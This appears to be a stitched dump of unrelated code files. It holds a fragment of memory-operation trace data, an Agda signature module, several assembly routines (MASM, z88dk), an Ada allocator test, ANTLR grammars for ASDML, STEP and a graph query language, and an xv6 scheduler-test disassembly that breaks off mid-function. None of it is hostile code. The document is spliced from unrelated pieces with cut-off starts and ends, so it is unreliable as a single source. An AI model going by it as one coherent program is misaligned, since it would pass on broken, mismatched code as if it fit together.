{'OP': 'STOR', 'dst': {'size': 16, 'NT': False, 'type': 'addresses_A_ht', 'same': False, 'AVXalign': False, 'congruent': 10}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_WC_ht', 'congruent': 5}, 'dst': {'same': False, 'type': 'addresses_WT_ht', 'congruent': 1}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_A_ht', 'congruent': 7}, 'dst': {'same': False, 'type': 'addresses_normal_ht', 'congruent': 0}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_A_ht', 'congruent': 11}, 'dst': {'same': False, 'type': 'addresses_UC_ht', 'congruent': 4}}
{'OP': 'LOAD', 'src': {'size': 32, 'NT': False, 'type': 'addresses_WT_ht', 'same': False, 'AVXalign': False, 'congruent': 3}}
{'OP': 'STOR', 'dst': {'size': 32, 'NT': False, 'type': 'addresses_WT_ht', 'same': False, 'AVXalign': False, 'congruent': 7}}
{'OP': 'REPM', 'src': {'same': False, 'type': 'addresses_D_ht', 'congruent': 6}, 'dst': {'same': False, 'type': 'addresses_UC_ht', 'congruent': 9}}
{'OP': 'LOAD', 'src': {'size': 2, 'NT': False, 'type': 'addresses_normal_ht', 'same': False, 'AVXalign': False, 'congruent': 7}}
{'45': 936, '49': 2625, '00': 14498, '46': 3770}
00 49 00 00 00 46 00 00 00 00 46 00 00 00 00 00 46 00 00 00 00 00 00 00 00 46 49 45 45 00 00 46 49 00 00 00 00 49 00 00 00 46 00 00 00 00 46 49 00 00 00 46 00 00 00 00 46 49 00 00 00 46 00 00 00 46 49 00 00 00 00 46 00 00 00 00 46 00 00 00 00 46 49 00 00 00 46 00 00 00 00 46 49 00 00 46 49 00 00 00 46 49 45 45 45 00 46 00 00 00 00 00 00 00 46 49 00 00 00 46 49 00 00 45 45 45 45 45 45 45 45 45 00 00 00 46 00 00 00 00 00 46 49 00 00 00 46 00 00 00 00 46 49 00 00 00 46 00 00 00 00 46 49 00 00 45 45 00 45 45 49 00 00 00 46 49 00 00 00 46 49 00 00 00 46 00 00 00 00 46 00 00 00 00 46 00 00 00 00 46 49 00 00 00 46 00 00 00 00 00 00 00 46 00 00 00 00 46 49 00 00 00 46 00 00 00 00 46 49 00 00 00 46 00 00 00 00 46 49 00 00 00 46 00 00 00 00 46 49 00 00 00 46 00 00 00 00 46 00 00 00 00 49 00 00 00 00 00 00 00 46 00 00 00 46 49 00 00 00 46 49 45 45 45 46 49 00 00 00 46 49 00 00 00 46 00 45 45 45 49 00 00 46 00 00 00 46 00 00 00 00 46 49 00 00 00 00 49 00 00 00 46 49 00 00 00 46 49 00 00 46 49 45 45 45 45 46 00 00 00 00 46 49 45 45 45 46 49 00 00 00 46 49 00 00 00 46 00 00 00 00 49 00 00 00 00 46 49 00 00 00 46 49 00 46 49 00 00 00 46 49 00 00 00 46 49 00 00 00 46 49 00 00 00 46 49 00 00 00 46 49 00 00 00 46 49 00 00 00 46 00 00 00 00 00 49 00 00 00 46 49 00 00 00 46 49 00 00 00 46 00 00 00 46 49 00 00 00 46 49 00 00 46 00 00 00 49 00 00 00 46 49 00 00 00 46 49 00 00 00 46 00 00 00 00 46 46 00 00 00 46 49 00 00 00 46 00 00 00 00 49 00 00 00 46 49 00 00 00 00 49 00 00 00 46 49 00 00 00 46 49 00 00 00 46 49 00 00 00 46 49 00 00 00 46 49 00 00 46 00 00 00 00 49 00 00 00 46 49 00 00 00 46 00 00 00 00 46 49 00 00 46 46 00 00 00 46 00 00 00 00 46 00 00 00 49 00 00 00 46 49 00 00 00 46 49 00 00 00 46 49 00 00 00 00 00 00 49 00 00 00 46 00 00 00 45 45 45 45 45 45 45 45 45 00 00 00 46 00 00 00 00 46 49 00 00 00 46 00 00 00 00 46 00 00 00 46 49 45 45 45 46 49 00 00 00 46 49 00 00 00 46 00 00 00 45 45 00 00 00 46 00 00 00 46 49 00 00 00 46 49 00 00 00 46 49 00 00 00 46 00 00 00 00 00 49 00 00 00 00 00 00 00 46 49 00 00 00 46 49 45 45 45 45 46 49 00 00 00 46 00 00 00 00 46 49 00 00 00 46 00 00 00 00 00 46 49 00 00 00 00 00 00 46 49 00 00 00 46 49 00 00 00 46 00 00 00 00 46 49 00 00 00 46 00 00 00 00 00 00 00 46 00 00 00 00 46 00 00 00 46 00 00 00 00 46 00 00 00 49 00 00 00 46 49 00 00 00 49 00 00 49 00 00 46 49 00 00 00 46 49 00 00 49 00 00 00 46 49 00 00 00 46 00 00 00 00 46 00 00 00 00 00 46 00 00 46 49 00 00 00 46 49 00 00 00 45 45 00 00 00 46 49 00 00 00 46 49 00 00 00 46 49 00 00 00 46 49 00 00 00 00 46 00 00 00 00 46 49 00 00 00 46 49 00 00 00 46 49 00 00 00 45 45 00 00 00 46 00 00 00 49 00 00 00 46 49 00 00 00 46 49 00 00 00 49 45 45 45 45 46 49 00 00 00 46 49 00 00 00 46 49 00 00 46 46 00 00 00 00 49 00 00 00 00 49 00 00 00 46 00 00 00 00 00 46 00 00 00 00 46 00 00 00 00 46 00 00 00 00 46 00 00 00 00 46 49 00 00 00 46 00 00 00 00 46 49 00 00 00 46 49 00 00 00 46 00 00 00 00 46 49 00 00 00 46 49 00 00 00 00 49 00 00 00 49 00 00 00 46 49 00 00 00 46 49 45 45 45 45
*/
|
prototype/command-response/Signature.agda | stevana/haarss | 1 | 11685 | <reponame>stevana/haarss<gh_stars>1-10
module Signature where
open import Function renaming (const to K)
open import Category.Monad.Predicate
open import Data.Sum
open import Data.Product
open import Data.Container.Indexed hiding (_∈_)
open import Data.Container.Indexed.Combinator
renaming (_⊎_ to _⊎^C_; _×_ to _×^C_)
open import Data.Container.Indexed.FreeMonad
open import Data.Char
open import Data.String
open import Relation.Unary
open import Relation.Binary.PropositionalEquality
------------------------------------------------------------------------
data Prompt : Set where
addFeed search : Prompt
data Mode : Set where
cmd : Mode
input : Prompt → Mode
data Dir : Set where
up down : Dir
postulate
Feed : Set
Hårss : Mode ▷ Mode
Hårss =
{- move -} { cmd } ∩ K Dir ◃
U /
(λ _ _ → cmd) ⊎^C
{- prompt -} { cmd } ∩ K Prompt ◃
U /
(λ { (_ , p) _ → input p}) ⊎^C
{- putChar -} (⋃[ p ∶ Prompt ] { input p }) ∩ K Char ◃
U /
(λ { {._} ((p , refl) , _) _ → input p }) ⊎^C
{- done -} ⋃[ p ∶ Prompt ] { input p } ◃
K (String × Prompt) /
(λ _ _ → cmd) ⊎^C
{- fetch -} { cmd } ◃
K Feed /
(λ _ _ → cmd) ⊎^C
{- searchN -} { input search } ◃
K String /
(λ _ _ → input search)
pattern moveP d = inj₁ (refl , d)
move : Dir → cmd ∈ Hårss ⋆ (U ∩ { cmd })
move d = generic (moveP d)
pattern promptP p = inj₂ (inj₁ (refl , p))
prompt : (p : Prompt) → cmd ∈ Hårss ⋆ (U ∩ { input p })
prompt p = generic (promptP p)
pattern putCharP c = inj₂ (inj₂ (inj₁ ((_ , refl) , c)))
putChar : ∀ {p} → Char → input p ∈ Hårss ⋆ (U ∩ { input p })
putChar c = generic (putCharP c)
pattern doneP = inj₂ (inj₂ (inj₂ (inj₁ (_ , refl))))
done : ∀ {p} → input p ∈ Hårss ⋆ (K (String × Prompt) ∩ { cmd })
done = generic doneP
pattern fetchP = inj₂ (inj₂ (inj₂ (inj₂ (inj₁ refl))))
fetch : cmd ∈ Hårss ⋆ (K Feed ∩ { cmd })
fetch = generic fetchP
pattern searchNextP = inj₂ (inj₂ (inj₂ (inj₂ (inj₂ refl))))
searchNext : input search ∈ Hårss ⋆ (K String ∩ { input search })
searchNext = generic searchNextP
prog : cmd ∈ Hårss ⋆ (K (String × Prompt) ∩ { cmd })
prog =
move down >>
prompt search >>
putChar 'a' >>
putChar 'p' >>
putChar 'a' >>
done
where
open RawPMonad rawPMonad
|
Examples/ch07/ExtAdd.asm | satadriver/LiunuxOS_t | 0 | 19768 | TITLE Extended Addition Example (ExtAdd.asm)
; This program calculates the sum of two 64-bit integers.
; Chapter 7 example.
; Last update: 07/18/01
INCLUDE Irvine16.inc
.data
op1 QWORD 0A2B2A40674981234h
op2 QWORD 08010870000234502h
sum DWORD 3 dup(?) ; = 0000000122C32B0674BB5736
.code
main PROC
mov ax,@data
mov ds,ax
mov esi,OFFSET op1 ; first operand
mov edi,OFFSET op2 ; second operand
mov ebx,OFFSET sum ; sum operand
mov ecx,2 ; number of doublewords
call Extended_Add
mov esi,OFFSET sum ; dump memory
mov ebx,4
mov ecx,3
call DumpMem
exit
main ENDP
;--------------------------------------------------------
Extended_Add PROC
;
; Calculates the sum of two extended integers that are
; stored as an array of doublewords.
; Receives: ESI and EDI point to the two integers,
; EBX points to a variable that will hold the sum, and
; ECX indicates the number of doublewords to be added.
;--------------------------------------------------------
pushad
clc ; clear the Carry flag
L1: mov eax,[esi] ; get the first integer
adc eax,[edi] ; add the second integer
pushfd ; save the Carry flag
mov [ebx],eax ; store partial sum
add esi,4 ; advance all 3 pointers
add edi,4
add ebx,4
popfd ; restore the Carry flag
loop L1 ; repeat the loop
adc word ptr [ebx],0 ; add any leftover carry
popad
ret
Extended_Add ENDP
END main |
gcc-gcc-7_3_0-release/gcc/testsuite/gnat.dg/allocator_maxalign1.adb | best08618/asylo | 7 | 6849 | -- { dg-do run }
with System.Storage_Elements; use System.Storage_Elements;
with Ada.Unchecked_Deallocation;
procedure Allocator_Maxalign1 is
Max_Alignment : constant := Standard'Maximum_Alignment;
type Block is record
X : Integer;
end record;
for Block'Alignment use Standard'Maximum_Alignment;
type Block_Access is access all Block;
procedure Free is new Ada.Unchecked_Deallocation (Block, Block_Access);
N_Blocks : constant := 500;
Blocks : array (1 .. N_Blocks) of Block_Access;
begin
if Block'Alignment /= Max_Alignment then
raise Program_Error;
end if;
for K in 1 .. 4 loop
for I in Blocks'Range loop
Blocks (I) := new Block;
if Blocks (I).all'Address mod Block'Alignment /= 0 then
raise Program_Error;
end if;
Blocks(I).all.X := I;
end loop;
for I in Blocks'Range loop
Free (Blocks (I));
end loop;
end loop;
end;
|
libsrc/stdio/p2000/getk.asm | meesokim/z88dk | 0 | 165523 | <reponame>meesokim/z88dk
;
; Philips P2000
;
; getk() Read key status
;
; Apr 2014 - <NAME>
;
;
; $Id: getk.asm,v 1.2 2015/01/19 01:33:21 pauloscustodio Exp $
;
PUBLIC getk
getk:
ld a,(24588)
and a
ret z
call 1956h
ld l,a
ld h,0
ret
|
Grammar/ASDML.g4 | P-371/ASDML | 0 | 6573 | <reponame>P-371/ASDML
grammar ASDML;
asdml:
Whitespace* content? (Whitespace+ content)* Whitespace*;
content: value | property;
value: literal | group;
property: Punctation SimpleText Whitespace value;
literal:
Null
| ID
| Logical
| Number
| SimpleText
| Text
| MultilineText
| array;
array: normalArray | arrayWithoutType;
normalArray:
SimpleText Whitespace* LSquare Whitespace* value? (
Whitespace+ value
)* Whitespace* RSquare;
arrayWithoutType:
AtSign LSquare Whitespace* value? (Whitespace+ value)* Whitespace* RSquare;
group: normalGroup | anonymousGroup;
normalGroup:
SimpleText Whitespace* genericParameters? Whitespace* constructor? Whitespace* ID? Whitespace*
groupInner;
anonymousGroup: AtSign groupInner;
groupInner:
LCurly Whitespace* content? (Whitespace+ content)* Whitespace* RCurly;
genericParameters:
LessThan SimpleText? (Whitespace+ SimpleText)* GreaterThan;
constructor: LParen value? (Whitespace+ value)* RParen;
fragment A: ('A' | 'a');
fragment E: ('E' | 'e');
fragment F: ('F' | 'f');
fragment N: ('N' | 'n');
fragment U: ('U' | 'u');
fragment L: ('L' | 'l');
fragment R: ('R' | 'r');
fragment S: ('S' | 's');
fragment T: ('T' | 't');
fragment Sign: Plus | Minus;
fragment HashSign: '#';
fragment Underscore: '_';
fragment Quote: '"';
fragment Backslash: '\\';
fragment Plus: '+';
fragment Minus: '-';
fragment Letter: [a-zA-Z];
fragment Digit: [0-9];
fragment HexDigit: [0-9a-fA-F];
fragment EscapeSequence: (Backslash ["#\\0abfnrtv])
| (Backslash 'x' HexDigit HexDigit)
| (Backslash 'u' HexDigit HexDigit HexDigit HexDigit);
LParen: '(';
RParen: ')';
LSquare: '[';
RSquare: ']';
LCurly: '{';
RCurly: '}';
LessThan: '<';
GreaterThan: '>';
Whitespace: (' ' | '\t' | LineFeed);
LineFeed: '\n' | '\r' | '\r\n';
Punctation: '.';
AtSign: '@';
SimpleText: (Letter | Underscore) (
Letter
| Digit
| Punctation
| Underscore
| Plus
| Minus
)*;
Null: AtSign N U L L;
ID: HashSign SimpleText;
Logical: (True | False);
True: AtSign T R U E;
False: AtSign F A L S E;
Number: Sign? Digit+ (Punctation Digit+)? (E Sign Digit)?;
Text: Quote (EscapeSequence | ~["\\\r\n])*? Quote;
MultilineText: AtSign Quote (EscapeSequence | ~["\\])*? Quote;
|
src/IFC-dotnet/STEP.g4 | ikeough/IFC-dotnet | 17 | 2466 | <filename>src/IFC-dotnet/STEP.g4
grammar STEP;
author
: AnyString
;
authorisation
: AnyString
;
collection
: '(' collectionValue (',' collectionValue)* ')'
| '()'
;
collectionValue
: RealLiteral
| IntegerLiteral
| StringLiteral
| AnyString
| Id
| constructor
| Undefined
;
constructor
: TypeRef '(' parameter? (',' parameter)* ')'
;
data
: DATA ';' instance* ENDSEC ';'
;
description
: AnyString
| collection
;
file
: ISO header data ISO_END
;
fileDescription
: FILE_DESCRIPTION '(' description ',' implementation ')' ';'
;
fileName
: FILE_NAME '(' name ',' timeStamp ',' (author|collection) ',' (organization|collection) ',' preprocessor_version ',' originating_system ',' authorisation ')' ';'
;
filePath
: '\'' Letter* '.' Letter* '\''
;
fileSchema
: FILE_SCHEMA '(' '(' AnyString ')' ')' ';'
;
header
: HEADER ';' fileDescription fileName fileSchema ENDSEC ';'
;
implementation
: AnyString
;
instance
: Id '=' constructor ';'
;
name
: AnyString
| filePath
;
originating_system
: AnyString
;
organization
: AnyString
;
parameter
: constructor
| collection
| Undefined
| StringLiteral
| Derived
| Enum
| BoolLogical
| RealLiteral
| AnyString
| Id
| IntegerLiteral
;
preprocessor_version
: AnyString
;
timeStamp
: DateTime
;
// Lexer
fragment
Digit
: [0-9]
;
fragment
Digits
: Digit Digit*
;
IntegerLiteral
: '-'? Digits
;
Letter
: [a-zA-Z]
;
CapitalLetter
: [A-Z]
;
DateTime
: '\'' Digits '-' Digits '-' Digits 'T' Digits ':' Digits ':' Digits '\''
;
Derived
: '*'
;
BoolLogical
: '.' ('T'|'F'|'U') '.'
;
Enum
: '.' [A-Z]([A-Z]|[0-9]|'_')* '.'
;
RealLiteral
: '-'? Digits '.' Digits* (('e'|'E') '-'? Digits)? // IFC: Scientific 'E' was not supported.
;
DATA : 'DATA' ;
ENDSEC : 'ENDSEC' ;
FILE_DESCRIPTION : 'FILE_DESCRIPTION' ;
FILE_NAME : 'FILE_NAME' ;
FILE_SCHEMA : 'FILE_SCHEMA' ;
HEADER : 'HEADER' ;
Id
: '#' Digits
;
ISO
: 'ISO' '-' Digits '-' Digits ';'
;
ISO_END
: 'END-ISO' '-' Digits '-' Digits ';'
;
StringLiteral
: '"' Letter* '"'
;
TypeRef
: CapitalLetter (CapitalLetter|Digit)*
;
Undefined
: '$'
;
AnyString
: '\'' .*? '\''
;
NewlineChar
: [\r\n\u000c]+ -> skip ;
WS
: [ \t\r\n\u000c]+ -> skip ;
Comments
: '/*' .*? '*/' -> skip ; |
project/parser/grammarGQL.g4 | makar-pelogeiko/formal-lang-course | 0 | 4130 | grammar grammarGQL;
prog: ((stm NEWLINE)* EOF);
stm
: 'let' var '=' expr
| 'print' expr
;
var
: IDENTIFIER addr
| IDENTIFIER
;
addr
: '[' INT ']' addr
| '[' INT ']'
;
val: INT | STRING;
setVal: '{' setElem '}';
setElem
: val ',' setElem
|
;
expr
: var
| val
| set_start expr ') to' expr
| set_final expr ') to' expr
| add_start expr ') to' expr
| add_final expr ') to' expr
| get_start
| get_final
| get_reachable
| get_vertices
| get_edges
| get_labels
| mapsys
| filtersys
| load
| expr intersect expr
| expr concat expr
| expr union expr
| star
| setVal
;
intersect: '&&';
concat: '..';
union: '||';
star: '(' expr ')**';
set_start: 'set start of (';
set_final: 'set final of (';
add_start: 'add start of (';
add_final: 'add final of (';
get_start: 'get starts of (' expr ')';
get_final: 'get finals of (' expr ')';
get_reachable: 'get reachable of (' expr ')';
get_vertices: 'get vertices of (' expr ')';
get_edges: 'get edges of (' expr ')';
get_labels: 'get labels of (' expr ')';
mapsys: 'map (' lambdasys ')(' expr ')';
filtersys: 'filter (' lambdasys ')(' expr ')';
load
: 'load graph from' path
| 'load graph' path
;
path: STRING;
lambdasys: 'fun (' var ') ->' op;
inop: 'in';
multop: '*';
plusop: '+';
op
: var inop expr
| (var | val) multop (var | val)
| (var | val) plusop (var | val)
| (var | val)
;
NEWLINE : [\r\n]+ ;
INT : [0-9]+ ;
IDENTIFIER : [A-Za-z0-9]+ ;
STRING : '\'' ~('\'')+ '\'';
WS : [ \t\r\n]+ -> skip;
|
schedtest.asm | xiaoqing2027/Operating-System | 0 | 246287 |
_schedtest: file format elf32-i386
Disassembly of section .text:
00000000 <rand>:
unsigned short lfsr = 0xACE1u;
unsigned bit;
unsigned rand() {
0: 55 push %ebp
1: 89 e5 mov %esp,%ebp
bit = ((lfsr >> 0) ^ (lfsr >> 2) ^ (lfsr >> 3) ^ (lfsr >> 5) ) & 1;
3: 0f b7 05 b0 0b 00 00 movzwl 0xbb0,%eax
a: 0f b7 d0 movzwl %ax,%edx
d: 0f b7 05 b0 0b 00 00 movzwl 0xbb0,%eax
14: 66 c1 e8 02 shr $0x2,%ax
18: 0f b7 c0 movzwl %ax,%eax
1b: 31 c2 xor %eax,%edx
1d: 0f b7 05 b0 0b 00 00 movzwl 0xbb0,%eax
24: 66 c1 e8 03 shr $0x3,%ax
28: 0f b7 c0 movzwl %ax,%eax
2b: 31 c2 xor %eax,%edx
2d: 0f b7 05 b0 0b 00 00 movzwl 0xbb0,%eax
34: 66 c1 e8 05 shr $0x5,%ax
38: 0f b7 c0 movzwl %ax,%eax
3b: 31 d0 xor %edx,%eax
3d: 83 e0 01 and $0x1,%eax
40: a3 d0 0b 00 00 mov %eax,0xbd0
return lfsr = (lfsr >> 1) | (bit << 15);
45: 0f b7 05 b0 0b 00 00 movzwl 0xbb0,%eax
4c: 66 d1 e8 shr %ax
4f: 89 c2 mov %eax,%edx
51: a1 d0 0b 00 00 mov 0xbd0,%eax
56: c1 e0 0f shl $0xf,%eax
59: 09 d0 or %edx,%eax
5b: 66 a3 b0 0b 00 00 mov %ax,0xbb0
61: 0f b7 05 b0 0b 00 00 movzwl 0xbb0,%eax
68: 0f b7 c0 movzwl %ax,%eax
}
6b: 5d pop %ebp
6c: c3 ret
0000006d <main>:
// printf(1, "hello %d \n", getpid());
// exit();
int main(int argc, char *argv[])
{
6d: 55 push %ebp
6e: 89 e5 mov %esp,%ebp
70: 53 push %ebx
71: 83 e4 f0 and $0xfffffff0,%esp
74: 83 ec 30 sub $0x30,%esp
int process_count;
int pid = -1;
77: c7 44 24 28 ff ff ff movl $0xffffffff,0x28(%esp)
7e: ff
for (process_count = 0; process_count <= 2; process_count++) {
7f: c7 44 24 2c 00 00 00 movl $0x0,0x2c(%esp)
86: 00
87: eb 0e jmp 97 <main+0x2a>
pid = fork();
89: e8 0d 03 00 00 call 39b <fork>
8e: 89 44 24 28 mov %eax,0x28(%esp)
int main(int argc, char *argv[])
{
int process_count;
int pid = -1;
for (process_count = 0; process_count <= 2; process_count++) {
92: 83 44 24 2c 01 addl $0x1,0x2c(%esp)
97: 83 7c 24 2c 02 cmpl $0x2,0x2c(%esp)
9c: 7e eb jle 89 <main+0x1c>
pid = fork();
}
if (pid == 0) { // Children execute the test
9e: 83 7c 24 28 00 cmpl $0x0,0x28(%esp)
a3: 0f 85 82 00 00 00 jne 12b <main+0xbe>
int i, j, garbage;
for (i = 0; i < 20; i++) {
a9: c7 44 24 24 00 00 00 movl $0x0,0x24(%esp)
b0: 00
b1: eb 4d jmp 100 <main+0x93>
int rand_num = rand() * (100 * getpid());
b3: e8 48 ff ff ff call 0 <rand>
b8: 89 c3 mov %eax,%ebx
ba: e8 64 03 00 00 call 423 <getpid>
bf: 0f af c3 imul %ebx,%eax
c2: 6b c0 64 imul $0x64,%eax,%eax
c5: 89 44 24 18 mov %eax,0x18(%esp)
garbage = 0;
c9: c7 44 24 1c 00 00 00 movl $0x0,0x1c(%esp)
d0: 00
for (j = 0; j < rand_num; j++) {
d1: c7 44 24 20 00 00 00 movl $0x0,0x20(%esp)
d8: 00
d9: eb 0a jmp e5 <main+0x78>
garbage += 1;
db: 83 44 24 1c 01 addl $0x1,0x1c(%esp)
for (i = 0; i < 20; i++) {
int rand_num = rand() * (100 * getpid());
garbage = 0;
for (j = 0; j < rand_num; j++) {
e0: 83 44 24 20 01 addl $0x1,0x20(%esp)
e5: 8b 44 24 20 mov 0x20(%esp),%eax
e9: 3b 44 24 18 cmp 0x18(%esp),%eax
ed: 7c ec jl db <main+0x6e>
garbage += 1;
}
sleep(0);
ef: c7 04 24 00 00 00 00 movl $0x0,(%esp)
f6: e8 38 03 00 00 call 433 <sleep>
}
if (pid == 0) { // Children execute the test
int i, j, garbage;
for (i = 0; i < 20; i++) {
fb: 83 44 24 24 01 addl $0x1,0x24(%esp)
100: 83 7c 24 24 13 cmpl $0x13,0x24(%esp)
105: 7e ac jle b3 <main+0x46>
}
sleep(0);
}
printf(1, "Process %d bursts: ", getpid());
107: e8 17 03 00 00 call 423 <getpid>
10c: 89 44 24 08 mov %eax,0x8(%esp)
110: c7 44 24 04 2f 09 00 movl $0x92f,0x4(%esp)
117: 00
118: c7 04 24 01 00 00 00 movl $0x1,(%esp)
11f: e8 3f 04 00 00 call 563 <printf>
print_bursts();
124: e8 2a 03 00 00 call 453 <print_bursts>
129: eb 0b jmp 136 <main+0xc9>
}
else {
while (wait() != -1);
12b: 90 nop
12c: e8 7a 02 00 00 call 3ab <wait>
131: 83 f8 ff cmp $0xffffffff,%eax
134: 75 f6 jne 12c <main+0xbf>
}
exit();
136: e8 68 02 00 00 call 3a3 <exit>
0000013b <stosb>:
"cc");
}
static inline void
stosb(void *addr, int data, int cnt)
{
13b: 55 push %ebp
13c: 89 e5 mov %esp,%ebp
13e: 57 push %edi
13f: 53 push %ebx
asm volatile("cld; rep stosb" :
140: 8b 4d 08 mov 0x8(%ebp),%ecx
143: 8b 55 10 mov 0x10(%ebp),%edx
146: 8b 45 0c mov 0xc(%ebp),%eax
149: 89 cb mov %ecx,%ebx
14b: 89 df mov %ebx,%edi
14d: 89 d1 mov %edx,%ecx
14f: fc cld
150: f3 aa rep stos %al,%es:(%edi)
152: 89 ca mov %ecx,%edx
154: 89 fb mov %edi,%ebx
156: 89 5d 08 mov %ebx,0x8(%ebp)
159: 89 55 10 mov %edx,0x10(%ebp)
"=D" (addr), "=c" (cnt) :
"0" (addr), "1" (cnt), "a" (data) :
"memory", "cc");
}
15c: 5b pop %ebx
15d: 5f pop %edi
15e: 5d pop %ebp
15f: c3 ret
00000160 <strcpy>:
#include "user.h"
#include "x86.h"
char*
strcpy(char *s, char *t)
{
160: 55 push %ebp
161: 89 e5 mov %esp,%ebp
163: 83 ec 10 sub $0x10,%esp
char *os;
os = s;
166: 8b 45 08 mov 0x8(%ebp),%eax
169: 89 45 fc mov %eax,-0x4(%ebp)
while((*s++ = *t++) != 0)
16c: 90 nop
16d: 8b 45 08 mov 0x8(%ebp),%eax
170: 8d 50 01 lea 0x1(%eax),%edx
173: 89 55 08 mov %edx,0x8(%ebp)
176: 8b 55 0c mov 0xc(%ebp),%edx
179: 8d 4a 01 lea 0x1(%edx),%ecx
17c: 89 4d 0c mov %ecx,0xc(%ebp)
17f: 0f b6 12 movzbl (%edx),%edx
182: 88 10 mov %dl,(%eax)
184: 0f b6 00 movzbl (%eax),%eax
187: 84 c0 test %al,%al
189: 75 e2 jne 16d <strcpy+0xd>
;
return os;
18b: 8b 45 fc mov -0x4(%ebp),%eax
}
18e: c9 leave
18f: c3 ret
00000190 <strcmp>:
int
strcmp(const char *p, const char *q)
{
190: 55 push %ebp
191: 89 e5 mov %esp,%ebp
while(*p && *p == *q)
193: eb 08 jmp 19d <strcmp+0xd>
p++, q++;
195: 83 45 08 01 addl $0x1,0x8(%ebp)
199: 83 45 0c 01 addl $0x1,0xc(%ebp)
}
int
strcmp(const char *p, const char *q)
{
while(*p && *p == *q)
19d: 8b 45 08 mov 0x8(%ebp),%eax
1a0: 0f b6 00 movzbl (%eax),%eax
1a3: 84 c0 test %al,%al
1a5: 74 10 je 1b7 <strcmp+0x27>
1a7: 8b 45 08 mov 0x8(%ebp),%eax
1aa: 0f b6 10 movzbl (%eax),%edx
1ad: 8b 45 0c mov 0xc(%ebp),%eax
1b0: 0f b6 00 movzbl (%eax),%eax
1b3: 38 c2 cmp %al,%dl
1b5: 74 de je 195 <strcmp+0x5>
p++, q++;
return (uchar)*p - (uchar)*q;
1b7: 8b 45 08 mov 0x8(%ebp),%eax
1ba: 0f b6 00 movzbl (%eax),%eax
1bd: 0f b6 d0 movzbl %al,%edx
1c0: 8b 45 0c mov 0xc(%ebp),%eax
1c3: 0f b6 00 movzbl (%eax),%eax
1c6: 0f b6 c0 movzbl %al,%eax
1c9: 29 c2 sub %eax,%edx
1cb: 89 d0 mov %edx,%eax
}
1cd: 5d pop %ebp
1ce: c3 ret
000001cf <strlen>:
uint
strlen(char *s)
{
1cf: 55 push %ebp
1d0: 89 e5 mov %esp,%ebp
1d2: 83 ec 10 sub $0x10,%esp
int n;
for(n = 0; s[n]; n++)
1d5: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp)
1dc: eb 04 jmp 1e2 <strlen+0x13>
1de: 83 45 fc 01 addl $0x1,-0x4(%ebp)
1e2: 8b 55 fc mov -0x4(%ebp),%edx
1e5: 8b 45 08 mov 0x8(%ebp),%eax
1e8: 01 d0 add %edx,%eax
1ea: 0f b6 00 movzbl (%eax),%eax
1ed: 84 c0 test %al,%al
1ef: 75 ed jne 1de <strlen+0xf>
;
return n;
1f1: 8b 45 fc mov -0x4(%ebp),%eax
}
1f4: c9 leave
1f5: c3 ret
000001f6 <memset>:
void*
memset(void *dst, int c, uint n)
{
1f6: 55 push %ebp
1f7: 89 e5 mov %esp,%ebp
1f9: 83 ec 0c sub $0xc,%esp
stosb(dst, c, n);
1fc: 8b 45 10 mov 0x10(%ebp),%eax
1ff: 89 44 24 08 mov %eax,0x8(%esp)
203: 8b 45 0c mov 0xc(%ebp),%eax
206: 89 44 24 04 mov %eax,0x4(%esp)
20a: 8b 45 08 mov 0x8(%ebp),%eax
20d: 89 04 24 mov %eax,(%esp)
210: e8 26 ff ff ff call 13b <stosb>
return dst;
215: 8b 45 08 mov 0x8(%ebp),%eax
}
218: c9 leave
219: c3 ret
0000021a <strchr>:
char*
strchr(const char *s, char c)
{
21a: 55 push %ebp
21b: 89 e5 mov %esp,%ebp
21d: 83 ec 04 sub $0x4,%esp
220: 8b 45 0c mov 0xc(%ebp),%eax
223: 88 45 fc mov %al,-0x4(%ebp)
for(; *s; s++)
226: eb 14 jmp 23c <strchr+0x22>
if(*s == c)
228: 8b 45 08 mov 0x8(%ebp),%eax
22b: 0f b6 00 movzbl (%eax),%eax
22e: 3a 45 fc cmp -0x4(%ebp),%al
231: 75 05 jne 238 <strchr+0x1e>
return (char*)s;
233: 8b 45 08 mov 0x8(%ebp),%eax
236: eb 13 jmp 24b <strchr+0x31>
}
char*
strchr(const char *s, char c)
{
for(; *s; s++)
238: 83 45 08 01 addl $0x1,0x8(%ebp)
23c: 8b 45 08 mov 0x8(%ebp),%eax
23f: 0f b6 00 movzbl (%eax),%eax
242: 84 c0 test %al,%al
244: 75 e2 jne 228 <strchr+0xe>
if(*s == c)
return (char*)s;
return 0;
246: b8 00 00 00 00 mov $0x0,%eax
}
24b: c9 leave
24c: c3 ret
0000024d <gets>:
char*
gets(char *buf, int max)
{
24d: 55 push %ebp
24e: 89 e5 mov %esp,%ebp
250: 83 ec 28 sub $0x28,%esp
int i, cc;
char c;
for(i=0; i+1 < max; ){
253: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp)
25a: eb 4c jmp 2a8 <gets+0x5b>
cc = read(0, &c, 1);
25c: c7 44 24 08 01 00 00 movl $0x1,0x8(%esp)
263: 00
264: 8d 45 ef lea -0x11(%ebp),%eax
267: 89 44 24 04 mov %eax,0x4(%esp)
26b: c7 04 24 00 00 00 00 movl $0x0,(%esp)
272: e8 44 01 00 00 call 3bb <read>
277: 89 45 f0 mov %eax,-0x10(%ebp)
if(cc < 1)
27a: 83 7d f0 00 cmpl $0x0,-0x10(%ebp)
27e: 7f 02 jg 282 <gets+0x35>
break;
280: eb 31 jmp 2b3 <gets+0x66>
buf[i++] = c;
282: 8b 45 f4 mov -0xc(%ebp),%eax
285: 8d 50 01 lea 0x1(%eax),%edx
288: 89 55 f4 mov %edx,-0xc(%ebp)
28b: 89 c2 mov %eax,%edx
28d: 8b 45 08 mov 0x8(%ebp),%eax
290: 01 c2 add %eax,%edx
292: 0f b6 45 ef movzbl -0x11(%ebp),%eax
296: 88 02 mov %al,(%edx)
if(c == '\n' || c == '\r')
298: 0f b6 45 ef movzbl -0x11(%ebp),%eax
29c: 3c 0a cmp $0xa,%al
29e: 74 13 je 2b3 <gets+0x66>
2a0: 0f b6 45 ef movzbl -0x11(%ebp),%eax
2a4: 3c 0d cmp $0xd,%al
2a6: 74 0b je 2b3 <gets+0x66>
gets(char *buf, int max)
{
int i, cc;
char c;
for(i=0; i+1 < max; ){
2a8: 8b 45 f4 mov -0xc(%ebp),%eax
2ab: 83 c0 01 add $0x1,%eax
2ae: 3b 45 0c cmp 0xc(%ebp),%eax
